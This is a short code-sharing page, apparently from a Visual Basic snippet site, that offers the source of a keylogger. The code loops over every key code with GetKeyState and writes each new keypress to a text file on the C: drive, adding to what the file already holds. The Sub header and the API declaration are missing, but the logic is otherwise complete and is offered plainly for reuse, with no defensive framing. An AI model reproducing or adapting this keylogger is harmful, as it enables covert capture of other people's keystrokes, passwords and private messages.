logs key presses and stores them in a file
logs key presses and stores them in a file
API Declarations
Dim str As String
Dim lastkey As Integer
'requires scrrun.dll [Microsoft Scripting Run-time]
'view my site www.vbcodecentral.tk
Rate logs key presses and stores them in a file
(2(2 Vote))
Dim fso As New FileSystemObject
Dim ts As TextStream
Set ts = fso.OpenTextFile("c:\keyloger.txt")
If Not ts.AtEndOfStream Then str = ts.ReadAll
ts.Close
Set ts = fso.CreateTextFile("c:\keyloger.txt")
ts.Write str
Do
DoEvents
For i = 0 To 255
If GetKeyState(i) < 0 Then
If lastkey <> i Then ts.Write Chr(i)
lastkey = i
End If
Next
Loop
ts.Close
End
End Sub
logs key presses and stores them in a file Comments
No comments yet — be the first to post one!
Post a Comment